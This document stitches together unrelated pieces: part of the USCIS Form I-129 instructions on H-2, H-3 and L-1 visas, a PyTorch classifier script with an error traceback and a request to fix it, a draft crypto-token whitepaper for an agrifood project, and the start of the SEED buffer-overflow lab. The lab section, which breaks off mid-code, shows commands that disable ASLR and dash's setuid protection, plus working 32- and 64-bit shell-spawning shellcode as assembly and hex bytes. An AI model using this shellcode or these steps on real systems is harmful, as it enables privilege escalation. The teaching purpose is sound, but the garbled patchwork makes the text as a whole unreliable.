Homeland\nSecurity has designated, with the concurrence of the Secretary of State, as eligible to participate in the H-2 program. The\ncurrent list of eligible countries is located at www.uscis.gov/h-2a and www.uscis.gov/h-2b.\nNationals of countries that are not eligible to participate in the H-2 program may still be named as beneficiaries on an\nH-2A or H-2B petition. To do so, you must:\n1. Name each beneficiary who is not from an eligible country; and\n2. Provide evidence to show that it is in the U.S. interest for the alien to be the beneficiary of such a petition.\nUSCIS’ determination of what constitutes U.S. interest takes into account certain factors, including but not limited to:\n1. Evidence demonstrating that a worker with the required skills is not available from among foreign workers from a\ncountry currently on the eligible countries list;\nNOTE: Also, for H-2A petitions only, the petitioner must submit evidence demonstrating that a U.S. worker with the\nrequired skills is not available.\n2. Evidence that the beneficiary has been admitted to the United States previously in H-2A or H-2B status;\n3. The potential for abuse, fraud, or other harm to the integrity of the H-2A or H-2B visa program through the potential\nadmission of a beneficiary from a country not currently on the eligible countries list; and\n4. Such other factors as may serve the U.S. interest.\nProhibited Fees\nAs a condition of approval of an H-2A or H-2B petition, no job placement fee or other compensation (either direct or\nindirect) may be collected at any time from a beneficiary of an H-2A or H-2B petition. This includes collection by a\npetitioner, agent, facilitator, recruiter, or similar employment service, as a condition of employment, whether before or\nafter the filing or approval of a petition. Unless the payment of such fees by a worker is prohibited under law, the only\nexceptions to this are:\n1. The lower of the actual cost or fair market value of transportation to the offered employment; and\n2. Any government-mandated passport, visa, or inspection fees.\nIf USCIS determines any of the following have occurred, the petition will be denied or revoked. The only exceptions to a\nmandatory denial or revocation are found at 8 CFR 214.2(h)(5)(xi)(A)(4) and 8 CFR 214.2(h)(6)(i)(B)(4):\n1. You collected, or entered into an agreement to collect, prohibited fees as described above;\n2. You knew, or should have known, at the time of filing the petition that the beneficiary paid, or agreed to pay, any\nagent, facilitator, recruiter, or similar employment service as a condition of employment;\n3. The beneficiary paid you prohibited fees or compensation as a condition of employment after the petition was filed; or\n4. You knew, or had reason to know, that the beneficiary paid, or agreed to pay, the agent, facilitator, recruiter, or similar\nemployment service prohibited fees after the petition was filed.\nForm I-129 Instructions 11/02/22 Page 15 of 30\nThe petition should be filed with evidence that indicates the beneficiaries have not paid, and will not pay, prohibited fees\nto the best of your knowledge.\nInterrupted Stays\nInterrupted stays are certain periods of time that a worker spends outside the United States during an authorized period\nof stay in H-2A or H-2B status. An interrupted stay does not count toward the worker’s maximum 3-year limit in the\nclassification.\nAn H-2A or H-2B worker may qualify for an interrupted stay under the following conditions:\nIf the worker was in the United States in H-2 status\nfor an aggregate period of:\nThen H-2 time is interrupted if he or she is outside\nthe United States for:\n18 months or less At least 45 days, but less than 3 months\nMore than 18 months, but less than 3 years At least 2 months\nTime in H-2A or H-2B status is not automatically interrupted if the worker departs the United States. It is considered\ninterrupted only if the guidelines in the above chart are met. For more on interrupted stays, see www.uscis.gov.\nNotification Requirements\nBy filing an H-2A or H-2B petition, you agree to notify USCIS within 2 work days if an H-2A or H-2B worker:\n1. Fails to report to work within 5 workdays after the employment start date stated on the petition or within 5 workdays\nafter the start date as established by the H-2A employer, whichever is later;\n2. Completes the labor or services more than 30 days earlier than the employment end date stated on the petition;\n3. Absconds from the worksite; or\n4. Is terminated prior to the completion of the services or labor.\nFailure to comply with this agreement may result in penalties. See www.uscis.gov for more information.\nFiling Multiple Petitions\nYou generally may file one petition to request all of your H-2A or H-2B workers associated with one temporary labor\ncertification. In cases where filing a separate petition is not required, it may be advantageous to file more than one H-2A\nor H-2B petition instead. This can occur when you petition for multiple workers, some of whom may not qualify for part\nor all of the validity period you request. This most frequently occurs when:\n1. Some of the workers you request are not nationals of a country on the eligible countries list;\n2. You request interrupted stays for workers; or\n3. At least one worker is nearing the 3-year maximum stay limit.\nIf we request additional evidence because of these situations, it may delay petition processing. Filing separate petitions\nfor workers who are not affected by these scenarios may enable you to quickly obtain some workers, if they are otherwise\neligible, in the event that the petition for your other workers is delayed.\nIf you decide to file more than one petition with the same temporary labor certification, you may do so if:\n1. One petition is accompanied by the original temporary labor certification;\n2. The total number of beneficiaries on your petitions does not exceed the total number of workers approved by the U.S.\nDepartment of Labor on the temporary labor certification; and\n3. The other petitions are accompanied by copies of the same temporary labor certification, along with an attachment\nexplaining why the original was not submitted.\nH-3 Nonimmigrants (Two Types)\nThe H-3 classification is for aliens coming to the United States temporarily to participate in a special education\nexchange visitor program in the education of children with physical, mental, or emotional disabilities.\nForm I-129 Instructions 11/02/22 Page 16 of 30\nWrite H-3 in the classification block.\nAny custodial care of the children must be incidental to the training program. The petition must be filed by a U.S.\nemployer, which must be a facility which has professionally trained staff and a structured program for providing education\nto children with disabilities and training and hands-on experience to participants in the special education exchange visitor\nprogram. The petition must be filed with:\n1. A description of the training, staff, and facilities; evidence that the program meets the above conditions; and details of\nthe beneficiary’s participation in the program; and\n2. Evidence showing that the beneficiary is nearing completion of a baccalaureate degree in special education, or already\nholds such a degree, or has extensive prior training and experience in teaching children with physical, mental, or\nemotional disabilities.\nThe H-3 classification is also for aliens coming to the United States temporarily to receive training from an\nemployer in any field other than graduate medical education or training.\nWrite H-3 in the classification block.\nThe petition must be filed with:\n1. A detailed description of the structured training program, including the number of classroom hours per week and the\nnumber of hours of on-the-job training per week;\n2. A summary of the prior training and experience of each beneficiary in the petition; and\n3. An explanation stating why the training is required, whether similar training is available in the beneficiary’s country,\nhow the training will benefit the beneficiary in pursuing a career abroad, the source of any remuneration the trainee\nwill receive and any benefit the petitioner will obtain by providing the training.\nL-1 Nonimmigrants (Two Types)\nThe L-1A classification is for aliens coming to the United States temporarily to perform services in a managerial\nor executive capacity for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge, for at least 1 continuous year within the last 3 years. In the case of an L-1A beneficiary who is coming to\nthe United States to set up a new office, the 1 year of experience abroad must have been in an executive or managerial\ncapacity.\nWrite L-1A in the classification block.\nEither a U.S. employer or foreign employer may file the petition, but the foreign employer must have a legal business\nentity in the United States.\nThe L-1B classification is for aliens coming to the United States temporarily to perform services that require\nspecialized knowledge for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge for at least 1 continuous year within the last 3 years.\\*\\*\\* Specialized knowledge is either: (a) special\nknowledge of the petitioning employer’s product, service research, equipment, techniques, management, or other\ninterests and its application in international markets or (b) an advanced level of knowledge or expertise in the employing\norganization’s processes or procedures.\n\\*\\*\\* In the case of blanket petitions, the L-1B must be a specialized knowledge professional. There is no requirement,\nhowever, that the person have acted in a “professional capacity” while abroad for purposes of meeting the one-year\nrequirement.\nWrite L-1B in the classification block.\nGeneral L Classification Requirements\nEither a U.S. or foreign employer may file the petition.\nThe petition must be filed with: 1. Evidence establishing the existence of the qualifying relationship between the U.S. and foreign employer based on\nownership and control, such as: an annual report, articles of incorporation, financial statements, or copies of stock\ncertificates. Note: Whether such evidence will be sufficient to meet the petitioner’s burden of establishing such a\nqualifying relationship will depend on the quality and probative value of the evidence submitted.\n2. Evidence of the beneficiary’s employment for the required one year abroad in, as applicable, a managerial, executive,\nor specialized knowledge capacity. Such evidence may include, but is not limited to, a letter from the beneficiary’s\nforeign qualifying employer detailing his or her dates of employment, job duties, and qualifications, along with\nsupporting documentary evidence; and\n3. A description of the proposed job duties and qualifications, and evidence showing that the proposed employment is in\nan executive, managerial, or specialized knowledge capacity.' -'import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nfrom sklearn.metrics import f1\\_score\nfrom tqdm import tqdm\nimport transformers\n\n# Define the MLP model\nclass MLP(nn.Module):\n def \\_\\_init\\_\\_(self, input\\_dim, hidden\\_dim, output\\_dim):\n super(MLP, self).\\_\\_init\\_\\_()\n self.fc1 = nn.Linear(input\\_dim, hidden\\_dim)\n self.fc2 = nn.Linear(hidden\\_dim, output\\_dim)\n \n def forward(self, x):\n x = torch.relu(self.fc1(x))\n x = self.fc2(x)\n return x\n\n# Define the custom dataset\nclass NewsDataset(Dataset):\n def \\_\\_init\\_\\_(self, csv\\_file, tokenizer):\n self.data = pd.read\\_csv(csv\\_file)\n self.tokenizer = tokenizer\n \n def \\_\\_len\\_\\_(self):\n return len(self.data)\n \n def \\_\\_getitem\\_\\_(self, idx):\n text = self.data.iloc[idx][\'text\']\n label = self.data.iloc[idx][\'label\']\n text\\_tensor = torch.tensor(self.tokenizer.encode(text)).long()\n label\\_tensor = torch.tensor(label).long()\n return text\\_tensor, label\\_tensor\n# Define the training function\ndef train(model, device, train\\_loader, optimizer, criterion):\n model.train()\n running\\_loss = 0.0\n for batch\\_idx, (data, target) in enumerate(train\\_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero\\_grad()\n output = model(data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n running\\_loss += loss.item()\n train\\_loss = running\\_loss / len(train\\_loader)\n return train\\_loss\n# Define the evaluation function\ndef evaluate(model, device, test\\_loader):\n model.eval()\n y\\_true, y\\_pred = [], []\n with torch.no\\_grad():\n for data, target in test\\_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n pred = output.argmax(dim=1)\n y\\_true.extend(target.cpu().numpy())\n y\\_pred.extend(pred.cpu().numpy())\n f1 = f1\\_score(y\\_true, y\\_pred, average=\'macro\')\n return f1\n# Set the device\ndevice = torch.device(\'cuda:0\' if torch.cuda.is\\_available() else \'cpu\')\n\n# Set the hyperparameters\ninput\\_dim = 300 # word embedding size\nhidden\\_dim = 128\noutput\\_dim = 8 # number of labels\nlr = 0.001\nnum\\_epochs = 10\n\n# Load the data\ntokenizer = transformers.RobertaTokenizer.from\\_pretrained(\'roberta-base\', max\\_length=512)\ntrain\\_dataset = NewsDataset(\'train.csv\', tokenizer)\ntest\\_dataset = NewsDataset(\'test.csv\', tokenizer)\ntrain\\_loader = DataLoader(train\\_dataset, batch\\_size=32, shuffle=True)\ntest\\_loader = DataLoader(test\\_dataset, batch\\_size=32, shuffle=False)\n\n# Initialize the model, criterion, and optimizer\nmodel = MLP(input\\_dim, hidden\\_dim, output\\_dim).to(device)\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\n# Train the model\nfor epoch in range(num\\_epochs):\n train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n f1 = evaluate(model, device, test\\_loader)\n print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nToken indices sequence length is longer than the specified maximum sequence length for this model (574 > 512). Running this sequence through the model will result in indexing errors\n---------------------------------------------------------------------------\nRuntimeError Traceback (most recent call last)\nInput In [35], in ()\n 93 # Train the model\n 94 for epoch in range(num\\_epochs):\n---> 95 train\\_loss = train(model, device, train\\_loader, optimizer, criterion)\n 96 f1 = evaluate(model, device, test\\_loader)\n 97 print(\'Epoch: {} | Train loss: {:.4f} | F1 score: {:.4f}\'.format(epoch+1, train\\_loss, f1))\n\nInput In [35], in train(model, device, train\\_loader, optimizer, criterion)\n 40 model.train()\n 41 running\\_loss = 0.0\n---> 42 for batch\\_idx, (data, target) in enumerate(train\\_loader):\n 43 data, target = data.to(device), target.to(device)\n 44 optimizer.zero\\_grad()\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:628, in \\_BaseDataLoaderIter.\\_\\_next\\_\\_(self)\n 625 if self.\\_sampler\\_iter is None:\n 626 # TODO(https://github.com/pytorch/pytorch/issues/76750)\n 627 self.\\_reset() # type: ignore[call-arg]\n--> 628 data = self.\\_next\\_data()\n 629 self.\\_num\\_yielded += 1\n 630 if self.\\_dataset\\_kind == \\_DatasetKind.Iterable and \\\n 631 self.\\_IterableDataset\\_len\\_called is not None and \\\n 632 self.\\_num\\_yielded > self.\\_IterableDataset\\_len\\_called:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:671, in \\_SingleProcessDataLoaderIter.\\_next\\_data(self)\n 669 def \\_next\\_data(self):\n 670 index = self.\\_next\\_index() # may raise StopIteration\n--> 671 data = self.\\_dataset\\_fetcher.fetch(index) # may raise StopIteration\n 672 if self.\\_pin\\_memory:\n 673 data = \\_utils.pin\\_memory.pin\\_memory(data, self.\\_pin\\_memory\\_device)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\fetch.py:61, in \\_MapDatasetFetcher.fetch(self, possibly\\_batched\\_index)\n 59 else:\n 60 data = self.dataset[possibly\\_batched\\_index]\n---> 61 return self.collate\\_fn(data)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:265, in default\\_collate(batch)\n 204 def default\\_collate(batch):\n 205 r"""\n 206 Function that takes in a batch of data and puts the elements within the batch\n 207 into a tensor with an additional outer dimension - batch size. The exact output type can be\n (...)\n 263 >>> default\\_collate(batch) # Handle `CustomType` automatically\n 264 """\n--> 265 return collate(batch, collate\\_fn\\_map=default\\_collate\\_fn\\_map)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in collate(batch, collate\\_fn\\_map)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in (.0)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:120, in collate(batch, collate\\_fn\\_map)\n 118 if collate\\_fn\\_map is not None:\n 119 if elem\\_type in collate\\_fn\\_map:\n--> 120 return collate\\_fn\\_map[elem\\_type](batch, collate\\_fn\\_map=collate\\_fn\\_map)\n 122 for collate\\_type in collate\\_fn\\_map:\n 123 if isinstance(elem, collate\\_type):\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:163, in collate\\_tensor\\_fn(batch, collate\\_fn\\_map)\n 161 storage = elem.storage().\\_new\\_shared(numel, device=elem.device)\n 162 out = elem.new(storage).resize\\_(len(batch), \\*list(elem.size()))\n--> 163 return torch.stack(batch, 0, out=out)\n\nRuntimeError: stack expects each tensor to be equal size, but got [52] at entry 0 and [347] at entry 1\n\n해당 오류가 발생해서 끝을 자르는걸로 코드를 수정해서 전체 코드를 작성해줘\n\nPlease write in English language.' -"iam going to give you information, and take it in, and then ill let you know when i want to develop documents; able of Contents:\n\nIntroduction\n\nBackground\n\nContext: An overview of the current state of the agrifood industry and the challenges it faces.\n\nThe deep Problem\n\nExternalization\n\nMoney\n\nEconomic cost of degeneration\n\nThe Solution - internalization of costs\n\nThe Opportunity\n\nThe Fresh Earth Ecosystem\n\nOverview: \n\nComponents of the ecosystem: \n\n Tokenomics\n\nToken name and symbol (FET)\n\nToken Overview\n\nToken structure \n\nToken classification\n\nIncentive enablers\n\nIncentive drivers\n\nUse case\n\nGovernance\n\nTechnical Requirements\n\nToken Supply and distribution\n\nLimits to Total Token Supply\n\nToken limits by country\n\nToken creation\n\nSupply strategy\n\nAlignment of incentives between creation and regeneration\n\nMatching demand and supply \n\nToken distribution\n\nToken economics\n\nOverview\n\nValuation Logic of the Fresh Earth Token\n\nToken economics: How the token value is generated and how it changes over time\n\nMonetizing the token: Economic models funding opportunities in various markets\n\nRelationship between consumer purchases and hectares of land regenerated\n\nPotential for carbon storage, biodiversity, water retention, and increased food quality through regenerative practice\n\nEconomic incentives for farmers to adopt regenerative practices\n\nImpact of the Fresh Earth Token on the regenerative food market and its projected growth\n\nAnalysis of the value of the token and how it is determined and changes over time.\n\nTeam\n\nOverview: An explanation of the partnerships and collaborations that will be established to support the development and growth of the ecosystem.\n\nIndustry partnerships: A list of key industry partners that will be working with the ecosystem.\n\nCommunity partnerships: A list of key community partners that will be working with the ecosystem.\n\nPartnerships and Collaborations \n\nRoadmap\n\nOverview: A high-level roadmap for the development of the ecosystem, including any major milestones or key dates.\n\nLong-term vision: A description of the long-term vision for the ecosystem and its potential impact on the agrifood industry.\n\nLegal\n\nAlso here or in Tokenomics Token security and Auditing ?\n\nToken wallet and exchange listing ?\n\nConclusion\n\nReferences\n\nA list of relevant research papers, articles, and other resources that were used in the development of the whitepaper.\n\nElevator Pitch\nFresh Earth is revolutionizing the $13.4 trillion (2023, Agriculture Market Size, Trends and Global Forecast To 2032) agri-food market by creating a global, community-based food system that empowers people to take control of their health, food quality, and food sources. Our ecosystem includes a B2B marketplace that connects regenerative farmers with businesses, a B2C marketplace that encourages innovation and collaboration among stakeholders, a Project Management Platform, and a Data Managment Platform that uses data to measure and validate the impact of regenerative practices. Our Fresh Earth Token represents fractional ownership of the ecosystem and is valued based on the assets of the ecosystem and the impact of regenerative projects. This creates a positive feedback loop where the success of the ecosystem drives more investment, leading to more impact and greater value for the token holders. Join us in our mission to create a regenerative food system that benefits \n\nExecutive Summary\nThe Fresh Earth ecosystem is a revolutionary solution for transforming the agri-food industry and addressing the pressing issues of climate change, health, and food security. At the core of the ecosystem is the Fresh Earth Token, a decentralized autonomous organization (DAO) that manages the food ecosystem business. The token represents fractional ownership of the ecosystem, and is valued based on both the value of the ecosystem's assets and the future impact of regenerative projects on the environment and society. The Fresh Earth ecosystem is designed to incentivize participation and engagement through a variety of different Incentive Drivers and includes a B2B and B2C marketplace, a Project Management Platform, a Data Managment Platform, and a Rewards System. The ecosystem aims to provide a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume, while also promoting sustainable practices and addressing the pressing issues of climate change, health, and food security.\n\n1. Introduction\nThe world is currently facing a number of pressing interlinking issues including climate change, health, and food security. The Fresh Earth ecosystem aims to address these issues by promoting regenerative agriculture practices and creating a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume, while regenerating the environment. \n\nTo write when finished Whitepaper. Include:\n\nPurpose and goals of the token: To create a sustainable and regenerative food system, to support farmers and communities, and to align incentives for token holders and the ecosystem growth\n\nToken classification: Utility token, ERC-20, or any other relevant classification\n\nSummarise what follows\n\n2. Background\nContext: Agrifood-health-environment\nThe world is currently facing a number of pressing interlinking issues including climate change, health, and food security. \n\nClimate change and environmental degradation are causing extreme weather events and altering growing conditions, threatening to cross tipping points for the biosphere and the continuance of civilization as we have known it. Industrial agriculture by itself is the major contributor to greenhouse gas emissions, deforestation, pollution, biodiversity loss, and decline in soil health and water availability. This is resulting in reduced crop yields and increased food insecurity, which is putting added pressure on farmers to produce more food using conventional, industrial agricultural practices that accelerate degrade the environmental degradation. \n \n\nOn the health front, the agri-food industry is facing challenges as a result of soil degradation and chemical inputs, leading to a decrease in nutritional density of food and an increase in food-borne illnesses and food toxicity. Furthermore, the current industrial agriculture system is heavily reliant on fossil fuels, contributing to air and water pollution, and negatively impacting the health of farmers and rural communities.\n\nThe current food system is inadequate in addressing food security issues, with millions of people suffering from hunger and malnourishment. It is estimated that around 33% of global food production is lost or wasted, while around 800 million people suffer from hunger and malnutrition. The industrial agriculture system is designed for maximum efficiency and profit, rather than for the benefit of communities and the environment. This has led to monoculture farming, overuse of chemicals, and a lack of diversity in the food system, all of which contribute to poor health and food insecurity. \n\nConsumers are becoming aware of these environmental and heath problems and are increasingly demanding high-quality, sustainably produced food, and the market for organic and functional food is growing rapidly. To address these challenges, there is a growing movement towards regenerative agriculture practices, which focus on regenerating soil health, water availability, and biodiversity while producing food in a sustainable manner. \n\nHowever, the lack of coordination and fragmentation in the agricultural industry makes it difficult for small farmers and regenerative agriculture projects to access the capital needed to transition to sustainanble and regenerative practices, and scale up their operations.\n\nThe Fresh Earth ecosystem aims to address these issues by promoting regenerative agriculture practices and creating a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe deep problems - the economic system\nExternalization of costs\nThe current economic system, which prioritizes capitalism and consumerism, fails to account for the true cost of industrial agriculture, or commerce generally, on the environment and human health. Farmers who want to grow crops using sustainable methods have to invest in the transition only to find they are is outcompeted by industrial practices that have not internalised their true costs to environment and health. This leads to unsustainable practices, such as monoculture and heavy use of chemical inputs, that degrade the soil, reduce biodiversity and increase greenhouse gas emissions and pollution. These externalised costs are effectively subsidised by the individuals of the society who ultimately bear the cost of damages to environment and health. On a true free market baiss, with all costs accounted for, the regenerative and degenerative methods can compete on an equal basis. The degenerative methods with their burden of environmental, health and expensive inputs costs (fertiliser, pesticides etc) are no longer competitive with regenerative practices that do not have these costs. Additionally in a world where regeneration is valued it can become an additional source of income, ultimately making the regenerative products cheaper. This highlights the need for a comprehensive accounting of natural capital and internalization of environmental and health costs in order to create a more sustainable and equitable economic system.\n\nThe Monetary system\n\nThe monetary system, which is based on fractional reserve banking and debt-based money creation, also exacerbates this issue by creating a cycle of debt repayment. The root of this problem lies in the way that money is created and the lack of accounting for natural capital. Most money is created by commercial banks originating loans (“Promises to Repay”), which creates an increase in deposit accounts (“Money”). This creates a cycle of loan repayment that must come from some form of commerce, predominatly based based on fossil fuel energy. Because there is no accounting for natural capital, the ultimate source of the repayment is a reduction in natural capital assets, i.e. the destruction of environmental and health assets. This is seen in IMF loans to third world countries that are permanently indebted and required to mine their natural capital, even their food, to pay the interest.\n\nFurthermore, this would be the case even if the energy source were some form of non-polluting, free energy. Greenhouse gas damage is only a fraction of the total environmental and health cost of the commerce systema. As long as the destruction of nature is free of cost, and money is debt based withotu regard to social value, the competitive race to the bottom will ensure that nature and health are destroyed even faster. This highlights the need for a comprehensive accounting of natural capital and the internalization of environmental and health costs in order to create a more sustainable and equitable economic system.\n\nIn short, our current economic system is not taking into account the true cost of industrial agriculture and or other commerce on the environment and human health. This results in farmers and industry being incentivized to adopt practices that are not sustainable in the long term. Additionally, a lack of coordination and fragmentation in the agricultural industry makes it difficult for small farmers and regenerative agriculture projects to access the capital they need to scale up their operations. The root of this problem lies in the way that money is created and the lack of accounting for natural capital. In order to create a more sustainable and equitable economic system, we need to take into account the comprehensive accounting of natural capital and the internalization of environmental and health costs.\n\nEconomic Costs of the degenerative system\nThe degenerative industrial agriculture industry is facing a multitude of challenges that threaten global food security, economic stability, and human health. These issues, if left unaddressed, will result in staggering economic and health costs for society.\n\nIt's difficult to put a precise monetary value on the costs associated with the degenerative food industry as they can vary greatly depending on the specific impact and location, and many of these costs are not immediately visible and can accumulate over time. However, some estimates have been made on certain aspects of the industry. \n\nEconomic impact of food insecurity, including loss in GDP in developing countries due to micronutrient deficiencies is up to 2% of GDP according to Global Hunger Index 2014)\n\nGlobal loss in economic productivity due to macronutrient and micronutrient deficiencies is over 2-3% of GDP\n\nThe total cost of climate change is estimated to be around 2-4% of global GDP by 2100, according to the Intergovernmental Panel on Climate Change. (Greenhouse gas emissions from the food sector are estimated to be around 25% of global emissions.)\n\nExternalized damages of the $1T US food industry is estimated in a 2021 Rockerfeller Report at $2.1T\n\nAnnual healthcare costs globally due to diet-related chronic diseases such as obesity, diabetes, and heart disease is estimated by World Health Organization at $2 trillion.\n\nDeforestation caused by industrial agriculture is estimated to cost around $2-5 trillion annually in lost ecosystem services.\n\nLoss of biodiversity caused by industrial agriculture is estimated to cost around $500 billion annually.\n\nThe use of chemical inputs in industrial agriculture is estimated to cost around $5.2 billion annually in health costs in the US alone.\n\nWater pollution caused by agricultural activities is estimated to cost around $452 billion annually.\n\nIn a $100 trillion Global GDP, these estimated costs aggregate to $11-17 trillion." -'Lab Overview:\n\nBuffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks. In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics: \n• Buffer overflow vulnerability and attack \n• Stack layout \n• Address randomization, non-executable stack, and StackGuard \n• Shellcode (32-bit and 64-bit) \n• The return-to-libc attack, which aims at defeating the non-executable stack countermeasure, is covered in a separate lab.\n\nLab environment: This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud.\n\nEnvironment Setup:\n\nTurning Off Countermeasures \n\nModern operating systems have implemented several security mechanisms to make the buffer-overflow at-tack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not. \n\nAddress Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow at tacks. This feature can be disabled using the following command:\n\n$ sudo sysctl -w kernel.randomize\\_va\\_space=0\n\nConfiguring / bin/sh. In the recent versions of Ubuntu OS, the /bin/sh symbolic link points to the /bin/dash shell. The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process’s real user ID, essentially dropping the privilege. \nSince our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program called zsh in our Ubuntu 20.04 VM. The following command can be used to link /bin/sh to zsh:\n\n$ sudo ln -sf /bin/zsh/bin/sh\n\nStackGuard and Non-Executable Stack. These are two additional countermeasures implemented in the system. They can be turned off during the compilation. We will discuss them later when we compile the vulnerable program. \nTroubleshoot: Make sure setuid is installed. If not use sudo apt-get install super. If zsh is not installed then use sudo apt install zsh\nIf you get dependency error while compiling try: sudo apt-get install gcc-multilib\n\nTask 1: Getting familiar with Shellcode\n\nThe ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program’s privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.\n\n1.1 The C Version of Shellcode\n\nA shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:\n\n#include \n\nint main() { \nchar \\*name[2];\nname[0] = "/bin/sh"; \nname[1] = NULL; \nexecve(name[0], name, NULL); \n}\n\nUnfortunately, we cannot just compile this code and use the binary code as our shellcode (detailed explanation is provided in the SEED book). The best way to write a shellcode is to use assembly code. In this lab, we only provide the binary version of a shellcode, without explaining how it works (it is non-trivial). If you are interested in how exactly shellcode works and you want to write a shellcode from scratch, you can learn that from a separate SEED lab called Shellcode Lab.\n\n1.2 32-bit Shellcode\n; Store the command on stack \nxor eax, eax \npush eax \npush "//sh" \npush "/bin" \nmov ebx, esp ; ebx --> "/bin//sh": execve()’s 1st argument \n\n; Construct the argument array argv[] \npush eax ; argv[1] = 0 \npush ebx ; argv[0] --> "/bin//sh" \nmov ecx, esp ; ecx --> argv[]: execve()’s 2nd argument \n\n; For environment variable \nxor edx, edx ; edx = 0: execve()’s 3rd argument \n\n; Invoke execve() \nxor eax, eax ; \nmov al, 0x0b ; execve()’s system call number \nint 0x80\n\nThe shellcode above basically invokes the execve() system call to execute /bin/sh. In a separate SEED lab, the Shellcode lab, we guide students to write shellcode from scratch. Here we only give a very brief explanation. \n• The third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol. \n• We need to pass three arguments to execve() via the ebx, ecx and edx registers, respectively. The majority of the shellcode basically constructs the content for these three arguments. \n• The system call execve() is called when we set al to 0x0b, and execute "int 0x80"\n\n1.3 64-Bit Shellcode\n\nWe provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different and the registers used by the execve() system call are also different. Some explanation of the code is given in the comment section, and we will not provide detailed explanation on the shellcode.\n\nxor rdx, rdx ; rdx = 0: execve()’s 3rd argument \npush rdx \nmov rax, ’/bin//sh’ ; the command we want to run \npush rax ; \nmov rdi, rsp ; rdi --> "/bin//sh": execve()’s 1st argument \npush rdx ; argv[1] = 0 \npush rdi ; argv[0] --> "/bin//sh" \nmov rsi, rsp ; rsi --> argv[]: execve()’s 2nd argument \nxor rax, rax \nmov al, 0x3b ; execve()’s system call number syscall\nsyscall\n\n1.4 Task: Invoking the Shellcode\n\nWe have generated the binary code from the assembly code above, and put the code in a C program called call shellcode.c inside the shellcode folder. If you would like to learn how to generate the binary code yourself, you should work on the Shellcode lab. In this task, we will test the shellcode.\n\n#include \n#include \n#include \n\nconst char shellcode[] =\n#if \\_\\_x86\\_64\\_\\_\n"\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e"\n"\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57"\n"\\x48\\x89\\xe6\\x48\\x31\\xc0\\xb0\\x3b\\x0f\\x05"\n#else\n"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f"\n"\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31"\n"\\xd2\\x31\\xc0\\xb0\\x0b\\xcd\\x80"\n#endif\n;\n\nint main(int argc, char \\*\\*argv) \n{ \nchar code[500]; \nstrcpy(code, shellcode); // Copy 